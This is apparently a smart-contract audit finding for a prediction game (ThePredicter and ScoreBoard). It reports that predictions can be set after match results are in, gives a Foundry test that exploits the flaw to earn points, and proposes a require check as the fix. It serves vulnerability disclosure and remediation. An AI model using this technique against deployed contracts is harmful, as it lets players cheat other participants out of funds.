Description:
Both ThePredicter::makePrediction
and ScoreBoard::setPrediction
lack a check to see if the result for the round they're setting the prediction for is already in.
Impact:
This lack of checks allows players to set their predictions after the results for the match are in, which can be used to cheat the system.
Proof of Concept:
Insert the following test into ThePredicter.test.sol
:
function test_predictionsAreRigged() public {
vm.startPrank(stranger);
vm.deal(stranger, 0.0002 ether);
vm.stopPrank();
vm.warp(2);
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
vm.stopPrank();
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
vm.stopPrank();
vm.warp(3);
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
vm.stopPrank();
vm.startPrank(organizer);
scoreBoard.setResult(1, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.prank(stranger);
scoreBoard.setPrediction(address(stranger), 1, ScoreBoard.Result.Draw);
assertEq(scoreBoard.getPlayerScore(stranger), 4);
}
Recommended Mitigation:
function setPrediction(address player, uint256 matchNumber, Result result) public {
+ require(results[matchNumber] == Result.Pending, "ScoreBoard: predictions are closed");
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400) {
playersPredictions[player].predictions[matchNumber] = result;
}
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (playersPredictions[player].predictions[i] != Result.Pending && playersPredictions[player].isPaid[i]) {
++playersPredictions[player].predictionsCount;
}
}
}